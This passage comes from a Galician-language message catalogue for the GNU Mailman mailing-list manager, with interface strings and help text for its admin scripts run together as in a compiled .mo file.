        Exclúe as roldas que se indicaren.

    --owners
    -w
        Inclúe na busca os enderezos dos propietarios.

    --help
    -h
        Mostra esta mensaxe de axuda e remata.

    expreg
        Unha expresión regular de Python con que comparar.

A relación entre -l e -x funciona como segue.  Se se especifica algunha opción -l
incluiranse na busca só as roldas que se indicaren.  Se se indicar
algunha opción -x mais non ningunha opción -l, buscará en
todas as roldas agás aquelas que se excluíren especificamente

A sintaxe da expresión regular é ao estilo Perl5, usando o módulo Python re.  As especificacións completas están en:

http://docs.python.org/library/re.html

Na busca de enderezos non se distinguen as maiúsculas das minúsculas mais 
amósanse os enderezos tal e como se achan.

Localizar o subscritor %(link)s:FinésPrimeiroCorrixe os ficheiros de MM2.1b4

Sintaxe: %(PROGRAM)s [opcións] ficheiro ...

Onde as opcións son:
    -h / --help
        Mostra esta mensaxe de axuda e remata.

Ten que empregar isto só para 'corrixir' algúns ficheiros da base datos do
ficheiro que se tivesen escrito no Mailman 2.1b4 con algúns datos
incorrectos.  Ten de executar isto desde o seu directorio $PREFIX

%% %(PROGRAM)s `grep -l _mlist archives/private/*/database/*-article`

(cómpre salientar que os acentos graves son necesarios)

Precisará executar `bin/check_perms -f' despois de executar esta escritura.
Estase a corrixir os modelos das linguaxes: %(listname)sPé de páxina que se engadirá en cada compilaciónPé de páxina que se engadirá no correo que se enviar aos subscritores regulares da roldaPor calquera razón, %(mbox_dir) existe como ficheiro. Isto non funcionará
con b6, polo que se lle está a cambiar o nome a %(mobox_dir)s.tmp e despois continuarase.Por algunha razón que se descoñeceReenviar as mensaxes (individualmente) aReenvío da mensaxe moderadaReenviar ao propietario da roldaOpcións do reenvíoCuartoFrancésVenDe:De: %(sender)s o %(date)s
Asunto: %(subject)s
Motivo: %(reason)sPersonalización completaCaracterísticas fundamentais da rolda en que se inclúe a información básica e descritivaOpcións xeraisPáxina de información xeral da roldaPersonalidade xeral da roldaXera unha representación do catálogo binario a partir das traducións textuais.

Este programa converte un catálogo textual de mensaxes estilo-Uniforum (ficheiro .po) 
nun catálogo binario GNU (ficheiro .mo).  Este programa realiza
esencialmente a mesma función que o programa msgfmt de GNU.

Sintaxe: msgfmt.py [opcións] ficheiro.po

Opcións:
        -o ficheiro
        --output-file=ficheiro
           Indica o ficheiro de saída onde escribir. Se se omite, a saída
           irá a un ficheiro chamado ficheiro.mo (baséase no nome do ficheiro de entrada)

        -h
        --help
           Imprime esta mensaxe e remata.

        -V
        --version
           Amosa a información da versión e remata.
AlemánGnu non é UnixIr aos arquivos da roldaIr á páxina de información xeral sobre a rolda.Texto Gzip%(sz)sNon se modificou o código de HTMLEliminouse o documento de HTML anexoActualizouse o código HTML con éxitoCabeceira que se engadirá en cada compilaciónCabeceira que se engadirá nos correos que se enviaren aos subscritores regulares da roldaOcultar o remitente dunha mensaxe, substituílo polo enderezo da rolda
              (esta acción elimina os campos From, Sender e Reply-to)ReterReterNome do servidor que prefire a rolda.Enderezo hostil (os caracteres non son válidos)Enderezo hostil (os caracteres non son válidos): %(member)sDetectouse un intento de subscrición hostilQue tamaño en Kb debería acadar unha compilación antes de se enviar?Cantos avisos <em>A súa subscrición inhabilitouse</em> debe recibir
             un subscritor inhabilitado antes de se eliminar o seu enderezo
             da rolda de distribución. Se se pon en 0, eliminarase
             automaticamente logo de o número de mensaxes
             devoltas exceder do límite que se estabelecer. Este valor ten de ser
             un número enteiro.Cantas liñas do corpo da mensaxe debe escanear o buscador de temas?Con que frecuencia debería comezarse un novo volume de arquivo?Con que frecuencia debería comezar un volume novo de mensaxes recompiladas?HúngaroSe un envío á rolda tiver, cando menos, esta cantidade de destinatarios
             reterase para a súa aprobación por parte do administrador. Poña un 0 se non quere que teña límite.Se rexeitar esta mensaxe, <br> explique a causa (opcional):Se responde esta mensaxe e mantén a cabeceira Subject: (Asunto) intacta,
o Mailman descartará a mensaxe retida. Isto é recomendábel se a mensaxe é correo lixo.
Se a responder e inclúe unha cabeceira Approved: co contrasinal
da rolda nela, aprobarase a mensaxe para que se entregue á rolda.
A cabeceira Approved: pode aparecer tamén na primeira liña
do corpo da resposta.Se subministra un contrasinal, ten que o confirmar.Se o idioma por defecto da rolda emprega un conxunto de caracteres
             non ASCII, o prefixo codificarase segundo o estándar.
             Porén, se o prefixo contén só caracteres ASCII,
             debería pór esta opción como <em>Nunca</em> para inhabilitar a
             súa codificación. Isto podería facer que as cabeceiras fosen
             máis lexibles para aqueles usuarios que empreguen lectores de correo
             que non funcionen ben con codificacións non ASCII.

             <p>Compre salientar, porén, que se a rolda de distribución recibe
             mensaxes co asunto codificado unhas veces e outras sen codificar;
             talvez debería elixir <em>Cando fixer falta</em>. Se emprega esta opción,
             o Mailman non codificará prefixos ASCII cando o resto das cabeceiras
             conteña só caracteres ASCII, mais se a cabeceira orixinal contén
             caracteres non ASCII, codificará o prefixo.  Isto evita unha ambigüidade
             no estándar que podería provocar que algúns lectores de correo amosen
             espazos extras entre o prefixo e a cabeceira orixinal.Ignorar  :  %(addr)30sEstanse a ignorar os cambios do usuario borrado: %(user)sEstanse a ignorar as partes MIME que non son de texto planoO enderezo de correo electrónico é incorrecto: %(safeuser)sProporcionouse un enderezo de correo que non é correctoO nome da rolda é ilegal: %(opt)sA opción é ilegal: %(opt)sEstase a importar %(module)s...Para poder cambiar as súas opcións de subscrición, primeiro ten que
    entrar e especificar o seu %(extra)s contrasinal de subscrición na sección
    inferior. Se non o lembrar, pode recibir unha copia del
    por correo electrónico se preme o botón inferior.
    Se, pola contra, desexa anular a subscrición desta rolda,
    prema <em>Baixa</em> e, posteriormente,
    enviaráselle unha mensaxe de confirmación para o facer.

    <p><strong><em>Importante:</em></strong> a partir deste momento, debe
    ter habilitadas, no seu navegador, as cookies pois, de o non facer,
    as súas mudanzas terán os seus efectos.

    As sesións con cookies úsanse na interface de dereitos de
    subscrición do Mailman de xeito que non precisa estar
    continuamente autenticándose cando se realizar calquera
    operación. A cookie expirará automaticamente
    cando saia do navegador ou cando o indicar explicitamente ao
    premer a ligazón <em>Desconexión</em> (que verá unha vez
    entre satisfactoriamente).Incrementar o número de volume da recompilación e restabelecer o seu número a un.

Sintaxe: %(PROGRAM)s [opcións] [nome-da-rolda ...]

Opcións:

    --help/-h
        Amosar esta mensaxe e sair.

Aplícase as roldas que se relacionaren na liña de ordes. Se non se especificar 
o nome de ningunha rolda, aplicarase a todas.
Contrasinal inicial de %(listname)s: Relación inicial de idiomas dispoñíbeis.  <p>Cómpre salientar que, de non elixir, cando menos,
        unha lingua, a listaxe empregará o %(deflang)s, o
        idioma por defecto do servidor.Enderezo do propietario inicial da rolda:Contrasinal inicial da rolda:Os contrasinais iniciais para a rolda non coincideninserir unha mensaxe procedente dun ficheiro na cola de entrada do Mailman .

Sintaxe: inject [opcións] [ficheiro]

Opcións:

    -h / --help
        Amosar esta mensaxe e saír.

    -l rolda
    --listname=rolda
        O nome da rolda en que inserir a mensaxe.  É obrigatorio

    -q nomedacola
    --queue=nomedacola
        O nome da cola a que inserir a mensaxe. nomedacola
        ten que estar nun dos directorios interiores do directorio
        qfiles. De non se especificar, empregarase o nome da cola incoming

ficheiro é o nome do ficheiro con texto plano que se inserirá.
De non se especificar, empregarase a entrada estándar.
Interrompido...Non é válido:  %(addr)30sA cadea de confirmación non é válida. É posible que estea
            tentando confirmar unha solicitude dun enderezo que
            xa fose dado de baixa.A cadea de confirmación é incorrecta!
Cómpre indicar que as cadeas expiran aproximadamente cada %(days)s días
despois da solicitude inicial. Se o seu período de confirmación expirou,
, tente subscribirse unha outra vez.Argumentos incorrectos para a escritura CGIEnviáronse algúns argumentos incorrectos ao programa CGIO valor da propiedade non é válido: %(k)sO valor da variable non é válido: %(property)sConvidarO ficheiro é a fonte para o arquivo público ou privado?Estará o qrunner a se executar?É necesaria a aprobación do moderador para as solicitudes
de baixa? (É recomendable que <em>Non</em>)ItalianoXanXaneiroXaponésXulXulloXuñXuñoCoreanoOpcións de idiomasOs idiomas que pode empregar nesta roldaúltima notificación da resposta automática de hoxeDeixe o campo do contrasinal inicial en branco (e o de confirmación tamén)
                se quere que o Mailman as xerar automaticamente.RoldaCaracterísticas da rolda.Robot de axuda da rolda: %(requestaddr)sIdentificación da roldaPropietarios: %(owneraddr)sSó os administradores da roldaRelaciona todas as roldas de distribución.

Sintaxe: %(program)s [opcións]

Onde:

    --advertised
    -a
        Relaciona só aquelas roldas que son visíbeis publicamente

    --virtual-host-overview=dominio
    -V dominio
        Relaciona só aquelas roldas que están ligadas ao dominio virtual
        que se especificar. Isto só funciona se a variable VIRTUAL_HOST_OVERVIEW
        está activa.

    -b / --bare
        Só amosa o nome da rolda sen a descrición.

    --help
    -h
        Mostra esta mensaxe e remata.
Relaciona todos os propietarios dunha rolda de distribución.

Sintaxe: %(program)s [opcións] rolda ...

Onde:

    --all-vhost=hostv
    -v=hostv
        Relaciona os propietarios de todas as roldas de distribucións do dominio
        virtual dado.
    --all
    -a
        Relaciona os propietarios de todas as roldas de distribución neste sistema.

    --help
    -h
        Amosa esta mensaxe de axuda e remata.

`rolda' é o nome da rolda cuxos propietarios vanse imprimir. Pódense
indicar máis dunha rolda na liña de ordes.
A rolda xa existe: %(listname)sA rolda xa existe: %(safelistname)sContrasinal de creador da rolda (verificación):Compoñentes da roldaEnviaráselle aos moderadores (e aos administradores da rolda)
             diariamente unha lembranza das solicitudes pendentes de
             aprobación como, por exemplo, as subscricións a unha
             rolda pechada así coma o envío de mensaxes
             que se reteñen por unha razón ou por outra. Ao activar esta
             opción, as notificacións enviaranse
             inmediatamente ao chegaren outras novas.Relacionar as outras subscriciónsÉ preciso inserir o nome da roldaÉ preciso inserir o nome da rolda.O nome da rolda non pode incluír "@": %(safelistname)sNome da rolda:    %(listname)sListaxe de enderezos que teñen prohibido a subscrición
             a esta rolda de distribución.Listaxe de enderezos non subscritos cuxos envíos
              deben ser aceptados automaticamente.Listaxe de enderezos non subscritos cuxos envíos
             descartaranse automaticamenteListaxe de enderezos non subscritos cuxos envíos
             rexeitaranse automaticamenteListaxe de enderezos non subscritos cuxos envíos
             reteranse inmediatamente para a súa
             revisiónContrasinal da rolda:Subscricións de %(safeuser)s en %(hostname)sRelaciona os propietarios dunha ou de todas as roldas.

Sintaxe: %(PROGRAM)s [opcións] [listado ...]
Opcións:

    -w / --with-listnames
        Agrupa os propietarios polos nomes das roldas e inclúe os
        nomes destas na saída.   Doutro xeito, os propietarios ordenaranse
        polo seu enderezo de correo electrónico.

    -m / --moderators
        Inclúe os moderadores da rolda na saída.

    -h / --help
        Imprime esta mensaxe de axuda e sae.

    rolda
        Amosa os propietarios das roldas que se especificaren.  Poden aparecer
        máis dunha despois das opcións.   Se non se especificar ningunha rolda, visualizaranse
        os propietarios de todas.
Palabras chave dos temas das roldasPolítica de almacenaxe do tráfico da rolda.Texto específico á rolda que se porá ao
             comezo da mensaxe de benvida que se envía os
             novos suscritoresRolda:Rolda: %(listname)s, 	Propietario: %(owners)sLituanoEstase a cargar a rolda %(listname)sEntrarSaírDesconexiónMIMEEntrega de correoPasarela de correo-e&lt;-&gt;NovasServizos de pasarela de correo a novas e de novas a correo Solicitude de creación da rolda de distribución %(listname)sResultados da creación das roldas de distribuciónResultados da eliminación das roldas de distribuciónSolicitude de eliminación da rolda de distribución %(listname)sMailmanAxuda do Mailman para a opción da rolda %(varname)sErro de base de datos administrativa do MailmanMailman prefixa as cabeceiras <tt>Subject:</tt> con
             <a href=\"?VARHELP=general/subject_prefix\">un texto que se pode
             personalizar</a> e que, polo xeral, se amosa nas
             mensaxes que se envían a Usenet. Pode estabelecer esta opción como
             <em>Non</em> para desactivar o prefixo nestas mensaxes. Por
             suposto, se se desactiva o prefixado normal do <tt>Subject:</tt>,
             non se prefixarán de ningún xeito as mensaxes que se enviaren a Usenet.Aviso de privacidade do MailmanO Mailman non aceptará o enderezo dado como un enderezo de
correo electrónico válido.
(Por ex. ten que ter un @ nel)Faga as súas mudanzas a continuación e
        confírmeos co botón inferior <em>Envíar os cambios</em>.MarMarzoBaixas masivasSubscricións masivasSincronización masivaRematou a sincronizaciónBaixas masivassubscricións masivasLonxitude máxima do corpo da mensaxe (KB).
             Se non desexa estabelecer ningún límite, empregue o 0.MaioFiltros para os subscritoresCambiouse, con éxito, o nome e mais os apelidos do subscritor.Listaxe de subscritoresExposición dos membrosReactivouse a subscrición.Relación de subscritoresAdministración dos subscritores...Extracto da mensaxeCabeceiras da mensaxe:O corpo da mensaxe é demasiado grande: o seu tamaño é %(size)d bytes mais 
o límite é de %(limit)d KBA súa mensaxe ten unha cabeceira sospeitosa.A mensaxe non vai dirixida explicitamente á roldaA mensaxe pode conter solicitudes administrativasModeradoModeradorOs contrasinais do moderador non coincidenLunMensualPode achar máis información en: %(listurl)sMover regra cara abaixoMover regra cara arribaTen que haber un nome de rolda e de ficheiroOs envíos á rolda deben ter o nome
             o seu nome no enderezo de destino (to, cc)? (ou
             que estea entre os nomes de alias aceptábeis
             especificados abaixo)?Nome da rolda:Nome:Opcións de idioma (internacionalización)NuncaContrasinal novo de %(listname)s: %(notifypassword)sContrasinal novo de %(pwdesc)sNova solicitude de subscrición á rolda %(realname)s de %(addr)sNova solicitude de baixa á rolda %(realname)s de %(addr)sConfiguración do servidor de novasPróxima mensaxe:NonNon se indicou un enderezoNon se proporcionou ningún argumento a -fNingún fillo con pid %(pid)sNon se deu ningunha ordeNon se atoparon ordes nesta mensaxe.
Para obter instrucións, envíe unha mensaxe que conteña unicamente a palabra "help".
No se proporcionou ningún nome de ficheiroNon se proporcionou ningún nome de rolda.Non hai ningunha rolda chamada:Non se proporcionou ningún nome de roldaNon hai roldas onde buscarNon se atopou ningunha rolda de distribución que coincidaNinguén pode recibir resumos nesta rolda.Non se achou ningún problemaNon se deu ningunha razónNon se proporcionou ningún nome de executorSen asuntoNon existe a rolda "%(listname)s"
%(e)sNon existe esa rolda (ou xa se borrou): %(listname)sA rolda <em>%(safelistname)s</em> non existeNon existe esa rolda: %(listname)sNon existe esa rolda: %(listname)s. Estanse a eliminar os seus ficheiros residuais.Non existe ese subscritor: %(addr)s.Non existe ese subscritor: %(safeuser)s.Non son necesarias as actualizacións.Non se achou un enderezo válido para subscribirAchouse un nome de variábel que non é válidoSubscritores que non reciben resumos (con frecuencia):Opcións sen resumoFiltros para enderezos non subscritosAs persoas que non estean subscritas non teñen permiso para enviar mensaxes a esta rolda.Restaurouse a propiedade non estándar: %(k)sNingúnNingún - Sen proceso de verificación
                          (<em>Non se recomenda a</em>)<br>Confirmación
                          (*) - Precísase dunha etapa de
                          confirmación por correo electrónico
<br>
                          Precisa aprobación - Require que o
                          administrador da rolda aprobe as
                          subscricións <br>Confirmación e
                          aprobación - tanto Confirmación
                          como Aprobación
                          
                          <p> (*) Cando alguén solicita unha
                          subscrición, o Mailman envíalle unha
                          notificación cun único identificador
                          asociado á dita solicitude que se debe
                          responder para se poder subscribir. <br>

                          Isto prevén que que se poidan subscribir
                          terceiras persoas sen o seu consentimento.Normalmente, o Mailman envía as mensaxes regulares ao servidor de correo en grupos.
                 Isto é máis eficiente porque reduce a cantidade de tráfico
                 entre o Mailman e o servidor de correo.

                 <p>Porén, algunhas roldas poden beneficiarse da personalización
                 dunha ou de máis características. Neste caso, o Mailman constrúe
                 unha mensaxe nova para cada subscritor regular. Ao activar esta característica,
                 pode diminuír o rendemento do seu sitio web, de xeito que precise avaliar
                 os pros e as contras ou se existen formas alternativas de facer o que quere.
                 Deberíase monitorizar o rendemento do sistema para se asegurar de que
                 é aceptábel.

                 <p>Seleccione <em>Non</em> para inhabilitar a personalización e mandar as mensaxes
                 dos subscritores en grupos. Seleccione <em>Si</em> para personalizar as
                 entregas e permitir calquera personalización adicional quer na cabeceira
                 quer no pé das mensaxes (vexa máis abaixo). Para alén diso, ao seleccionar
                 <em>Personalización completa</em>, as cabeceiras <code>To</code> das mensaxes
                 enviadas modificaranse para reflectir os subscritores no canto do enderezo
                 de envío da rolda.

                 Cando a personalización das roldas está habilitada, pódense incluír algunhas
                 variábeis de expansión adicionais na <a href="?VARHELP=nondigest/msg_header">
                 cabeceira das mensaxes</a> e no <a href="?VARHELP=nondigest/msg_footer"> seu 
                 pé</a>.

                 <p>As seguintes variábeis de substitución adicionais estarán dispoñíbeis para as cabeceiras
                 e a parte final da mensaxe sempre que esta característica estiver habilitada:

                 <ul><li><b>user_address</b> - O enderezo do subscritor en minúsculas.
                     <li><b>user_delivered_to</b> - O enderezo do subscritor respectando
                     maiúsculas e minúsculas.
                     <li><b>user_password</b> - O contrasinal do subscritor
                     <li><b>user_name</b> - O nome e os apelidos do subscritor.
                     <li><b>user_optionsurl</b> - O URL da páxina de preferencias do subscritor.
                 </ul>
                 NorueguésNon é un enderezo válido: %(toaddr)sNon está autenticadoNon se está a eliminar os ficheiros. Volva invocar con -a para os borrar.Non está subscritoNota: Nota: debido a que se trata dun rolda de distribución que envía a outras
roldas algunhas notificacións como a lembranza dos
contrasinais mandaranse ao enderezo administrativo do seu enderezo,
 %(addr)s.Nota: actualmente ten desactivada a entrega de correo %(reason)s.Non é necesario facer nada.NotificaciónsNovNovembroNúmero de días entre as respostas automáticas que se envíen á rolda
             de distribución ou ao enderezo -admin/-owner desde o
             mesmo remitinte. Póñao a cero (ou negativo) para que non
             exista ningún período de grazmésa (é dicir, contestar
             automaticamente cada mensaxe).OutOutubroDesactivarDe acordo, o moderador do rolda aínda
    ten a oportunidade de aprobar ou rexeitar
    esta mensaxe.ActivarCada mes, enviaráselle o contrasinal por correo electrónico para o lembrar.Precísase a opción -i ou a opción -oSó se permite unha opción -fSó se permite pór quer a opción -i quer a opción -oRolda aberta, grupo moderadoMensaxe orixinalOutras actividades administrativasPanorámica de todas as roldas de distribución de %(hostname)sPID ilexíbel en: %(pidfile)sContrasinal // URLProduciuse un erro no cambio do contrasinal.Cambiouse o contrasinal.Lembranza do contrasinalCambiose a contrasinal satisfactoriamente.Contrasinal: Contrasinal: Contrasinais:Os contrasinais non coincidenOs contrasinais non coinciden e, por tanto, non se realizou ningún cambio.Os contrasinais non deberían estar en brancoPatrón (como unha expresión regular):Subscricións pendentes:Leva a cabo todas as actualizacións que foren precisas.

Sintaxe: %(PROGRAM)s [opcións]

Opcións:
    -f/--force
        Forza a que se executen os procedementos de actualización. Polo xeral, se o
        número de versión do Mailman que está instalado coincide co número de versión
        actual (ou se detecta un `retroactualizar'), non se fará nada.

    -h/--help
        Amosar este texto e saír.

Use esta escritura para axudarlle a actualizar á última versión do Mailman desde unha
versión anterior. Coñece as versións anteriores até a 1.0b4 (?).
Prohibir permanentemente desta roltaBorrar permanentemente a rolda de distribución <em>%(realname)s</em>Estase a preparar o estado do arquivo a  Plano*Non* envíe solicitudes administrativas á rolda!  Se desexar subscribirse, visite %(listurl)s ou envíe unha mensaxe coa palabra 'help' ao enderezo, %(request)s , para obter as instruciónsIndique, no campo inferior, a cadea de confirmación
    (<em>cookie</em>) que recibiu no correo
     electrónico. Prema, despois,
     o botón <em>Enviar</em> para continuar co seguinte paso
     de confirmación.Especifique quer -p quer -m.Acurte a listaxe de destinatarios pois é moi longaPolítica referente á entrega do tráfico da rolda a medida que chegaPolacoConsultar os servidores de NNTP se hai mensaxes que redireccionar ás roldas de distribución.

Sintaxe: gate_news [opcións]

Onde as opcións son:

    --help
    -h
        Amosar este texto e saír.

PortuguésPortugués do BrasilMensaxe dirixida a unha rolda privado procedente dun enderezo que non pertence a elaEnvío a unha rolda moderadaCancelouse o envío da mensaxeRemitenteO envío retívose para agardar a aprobaciónA mensaxe enviada tiña como asunto "%(subject)s"Envío a un grupo de novas moderadoO envío do remitinte a unha rolda restrinxida precisa a aprobaciónAs mensaxes de todas estas persoas que non están subscritas rexeitaranse automaticamente.
             Isto significa que a mensaxe se eliminará sen máis preguntas nin
             notificacións. O remitinte non recibirá ningunha notificación nin ningunha 
             mensaxe devolta, aínda que os moderadores da rolda poden, se así o desexaren
             <a href="?VARHELP=privacy/sender/forward_auto_discards"
             recibir copias das mensaxes rexeitadas automaticamente</a>

             <p>Debe engadirse un enderezo por cada liña e comezarase cada liña cun ^
             para designar unha coincidencia de expresión regular.".As mensaxes de todas estas persoas que non están subscritas rexeitaranse
             automaticamente. Isto significa que as mensaxes devolveranse
             ao remitinte cunha notificación de rexeitamento automático. Esta
             opción non é apropiada para emisores coñecidos de correo lixo dos que as súas
             mensaxes deberían
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             descartadas automaticamente</a>.

             <p>Debe engadirse un enderezo por cada liña e comezarase
             cun carácter ^ para indicar que se
             trata dunha expresión regular.As mensaxes de calquera destas persoas que non están subscritas reteranse
             automaticamente para que se moderen polos da rolda.
             O remitinte recibirá unha mensaxe de notificación que lle permitirá
             cancelar a mensaxe. Debe engadirse un enderezo por cada liña e comezarase
             cada liña cun carácter ^ para indicar que se trata dunha expresión regular.Enviar as mensaxes a:  %(postaddr)sIdioma preferido:Desexa prefixar as cabeceiras <tt>Subject:</tt> nos envíos ás novas?Prefixo para a liña do asunto dos envíos da roldaConservarConservar a mensaxe para o administrador do sitioConservar as mensaxes para o administrador do sitioMensaxe anterior:Ver a versión do Mailman.
Opcións de privacidade...Erro no arquivo privadoErro no arquivo privado - %(msg)sNon se achou o ficheiro do arquivo privadoAcháronse problemas:Rodas de distribución públicas xestionados por %(hostname)sFeito en PythonTrimestralReactivar a subscrición á rolda de distribuciónReactivar a subscriciónRexerar os ficheiros de arquivo de Pipermail comprimidos con gzip.

Esta escritura deberíase executar cada noite desde cron. Cando se
executa desde a liña de ordes, a sintaxe é a seguinte:

Sintaxe: %(program)s [-v] [-h] [nomes-das-roldas]

Onde:
    --verbose
    -v
        amosa cada ficheiro mentres se comprime

    --help
    -h
        amosa esta mensaxe e sae

    nomes-das-roldas
        Opcionalmente, comprime só os ficheiros .txt das roldas que se indicaren.
        Sen esta opción, procésanse todas as roldas arquivábeis.
Estanse a abrir, outra vez, todos os ficheiros de rexistroPara o arranxar,  debe executarse outra vez como %(MAILMAN_USER)s (ou como superusuario) coa opción -fMotivo da denegaciónMotivo:Reconstruír o arquivo dunha rolda.

Use esta orde para reconstruír o arquivo dunha rolda de distribución.
É posíbel que desexe facer isto se edita algunhas mensaxes ou se
elimina algúns ficheiros do arquivo.

Sintaxe: %(PROGRAM)s [options] <rolda> [<mbox>]

As opcións poden ser:
    -h / --help
        Amosa esta mensaxe de axuda e remata.

    -q / --quiet
        Facer que a saída do arquivador sexa máis reducida.

    --wipe
        Borrar en primeiro lugar o arquivo orixinal antes da rexeración.
        Polo xeral empregarase esta opción a non ser que estea a xerar o
        arquivo en anacos...

    -s N
    --start=N
        Comeza a reconstruír pola mensaxe N, onde 0 é a primeira 
        da caixa de entrada. Por omisión é 0.

    -e M
    --end=M
        Remata a reconstrución na mensaxe M.  Este programa non é moi
        eficiente na xestión da memoria e, con arquivos grandes,
        non é posíbel rexeralo por completo.  Por isto, permítese indicar o 
        número da mensaxe inicial e da final.

Onde <caixa de entrada> é o camiño ao arquivo privado completo da rolda. Normalmente
será algún camiño no directorio archives/private. Por exemplo:

bin/arch amiñarolda archives/private/mylist.mbox/amiñarolda.mbox

<mbox> é opcional. Se non existir, calcularase.
Desexa recibir as compilacións?Recibido:Filtros para os destinatariosFiltros para os destinatariosRexerar os alcumes específicos do Mailman dende o comezo.

A saída actual depende do valor da variable 'MTA' do seu ficheiro mm_cfg.py.


Sintaxe: genaliases [opcións]
Opcións:

    -q/--quiet
        A saída de algúns MTA poden incluír un texto de axuda máis amplo.
        Empregue esta opción para diminuír o tamaño.

    -h/--help
        Ver esta mensaxe e rematar.
Expresión regular:RegularRexeitarRexeitarEstase a recargar o estado dos ficheiros almacenadosLembrarQuitar os anexos da mensaxe que non teñan un tipo de contido coincidente.
              Deixe este campo en branco para omitir esta comprobación do filtro.Eliminar os anexos das mensaxes que teñan un tipo de 
            contido coincidinte.Elimina as compoñentes dun rolda de distribución con impunidade - Teña coidado

pois isto elimina (case) todo o rastro dun rolda de distribución. Por defecto, os
arquivos das roldas non se eliminan, o que é moi práctico para eliminar
roldas antigas.

Sintaxe:
    rmlist [-a] [-h] nome-da-rolda

Onde:
    --archives
    -a
        elimina tamén os arquivos da rolda

    --help
    -h
        amosa esta mensaxe de axuda e sae
Eliminouse: %(s)sEstase a eliminar  %(msg)sA solicitude á rolda de distribución %(realname)s foi rexeitadaO tema solicitado non é válido: %(topicname)sPrecisa a aprobaciónRestabelece o atributo web_page_url dunha rolda ao seu valor por omisión.

Esta escritura está dirixida a se executar como unha escritura bin/withlist, por exemplo

% bin/withlist -l -r fix_url rolda [opcións]

Opcións:
    -u urlhost
    --urlhost=urlhost
        Procura unha hospedaxe de URL na táboa de hospedaxes virtuais e pon os atributos
        web_page_url e host_name da rolda nos valores achados.
        En esencia, isto  move a rolda dun dominio virtual a un outro.

        Sen esta opción, úsanse os valores por omisión de web_page_url e
        de host_name.

    -v / --verbose
        Amosa o que está a facer o guión.

Se se executar por si propio, amosa este texto de axuda e sae.
Estase a restabelecer %(n)s BYBOUNCE enderezos inhabilitadas sen información de devoluciónEstase a reiniciar o qrunner mestre do MailmanDevolve a saída xerada.Volver á Debe executar este programa como superusuario, como o usuario %(name)s ou empregue a opción -u.Estase a executar %(module)s.%(callable)s()...RusoSabEstase a gardar a roldaÉ preciso unha expresión regular de buscaProcurar...SegundoSeleccione a páxina para editar:Desexa enviarlle a mensaxe de correo en que se indicar a creación da rolda ao propietario?Enviarase a mensaxe de despedida a quen anular a súa subscrición?Enviarase unha mensaxe ao remitinte cando a súa mensaxe esta a agardar a aprobación?Enviaranse mensualmente as lembranzas dos contrasinais?Enviaranse as notificacións ao propietario da rolda?Enviaranse as notificacións ao propietario da rolda?Enviar lembranzas do contrasinal de todas as roldas a todos os usuarios.

Este programa analiza todas as roldas de distribución e recompila os
nomes de usuario e os contrasinais, agrupados polo host_name
da rolda se mm_cfg.VIRTUAL_HOST_OVERVIEW é certo.
Despois, envíase unha mensaxe de correo electrónico a cada usuario por separado
(por servidor virtual) en que se relacionan os contrasinais das roldas e o URL das
opcións para o usuario. A lembranza do contrasinal provén da variábel
mm_cfg.MAILMAN_SITE_LIST, que debe existir.

Sintaxe: %(PROGRAM)s [opcións]

Opcións:
    -l rolda
    --listname rolda
        Enviar a lembranza só para as roldas que se indicaren. Se se omitir, enviarase
        a lembranza a todas as roldas. Permítense varias opcións
        -l/--listname.

    -h/--help
        Amosar esta mensaxe e saír.
Enviar a lembranza dos contrasinais ao enderezo "-owner"
             en lugar de a enviar ao usuario directamenteEnviar a confirmación de anulación da subscrición ao usuario?Enviarase a mensaxe de benvida cando se fagan subscricións?Enviarase a mensaxe de benvida cando se fagan novas subscricións?O remitente rexeitou a mensaxe por medio do web.O remitinte está explicitamente vetadoFiltrado do remitenteSetSetembroSerbioHora local do servidorEstabelecerEstabelecer o contrasinal do servidor, provocado desde o terminal.

O contrasinal do servidor pódese empregar na maioría, se non en todos, dos
sitios en que se pode usar o contrasinal do administrador da rolda,
que á súa vez pode empregarse na maioría dos sitios en que se pode
usar un contrasinal de subscritor.

Sintaxe %(PROGRAM)s [opcións] [contrasinal]

Opcións:

    -c/--listcreator
        Estabelecer o contrasinal do creador da rolda en vez do
servidor. O creador da rolda está autorizado a crear e eliminar roldas,
mais non ten o poder total do administrador do servidor.

    -h/--help
        Amosar esta mensaxe de axuda e saír.

Se non se indicar o contrasinal na liña de ordes, preguntarase por ela.
Póñao afirmativamente cando esta rolda estea
             destinada a enviar mensaxes a outras roldas en cascada. Cando
             esta opción estiver activa, as notificacións,
             as confirmacións e mais as lembranzas dos contrasinais
             dirixiranse a un enderezo derivado do
             que está subscrito a esta rolda e que
             terá o valor de "umbrella_member_suffix"
             engadido ao nome de usuario. O nome de usuario
             dedúcese do enderezo subscrito á rolda e corresponde
             ao identificador que está diante da arroba.Estase a estabelecer o valor %(mailhost)s a host_nameAo activar esta opción, provocarase que os enderezos de correo
             electrónico se transformen cando apareceren nas
             páxinas web (quer como texto quer como ligazóns) para
             que non sexan doadamente recoñecíbeis como 
             enderezos de correo electrónico. A intención
             é previr que se detectaren polos
             programas automáticos existentes no web e que se
             empregan polos que envían correo lixoAo estabelecer esta opción, o Mailman comezará
             un volume novo logo de se enviar a seguinte mensaxe de recompilación.Estase a asignar o valor %(web_page_url)s a web_page_urlDebe o Mailman converter as partes do tipo <tt>text/html</tt> a
             texto plano?  Esta conversión faise despois de eliminar os
             anexos MIME.Debería o Mailman filtrar os contidos das mensaxes dirixidas á rolda
             en función dos seguintes parámetros?Debería o Mailman notificarlle ao propietario da rolda cando as devolucións
             fan que se dea de baixa un subscritor?Debería o Mailman enviarlle ao propietario da rolda unha notificación cando
             se desactiva unha subscrición a causa das devolucións?Debería realizar o Mailman unha <em>sincronización</em> cos grupos de novas?Debería realizar o Mailman un procesamento automático das devolucións?Debe personalizar o Mailman cada envío regular?. A miúdo é
             útil para as roldas que se destinan ao envio de información.
             Prema nos <a href="?VARHELP=nondigest/personalize">detalles</a> para
             ler unha discusión de temas que afectan ao rendemento.Debería enviar o Mailman unha resposta automática ás
             mensaxes de correo que vaian dirixidas ao enderezo -owner?Debería enviar o Mailman unha resposta
             automática ás mensaxes que se envíen ao
             enderezo -request?. Se ser elixir, debe escoller se quere que
             se descarte a mensaxe orixinal ou se, pola contra, que a
             envíe ao sistema como unha mensaxe normal con ordes.Debería enviar o Mailman unha resposta automática aos subscritores da 
             rolda de distribución?¿Debería enviar o Mailman a próxima compilación xusto agora 
                sempre e cando non estiver baleira?Debería o Mailman enviarlle ao propietario da rolda as mensaxes devoltas
             que o sistema de procesamento de devolución non puidese detectar?
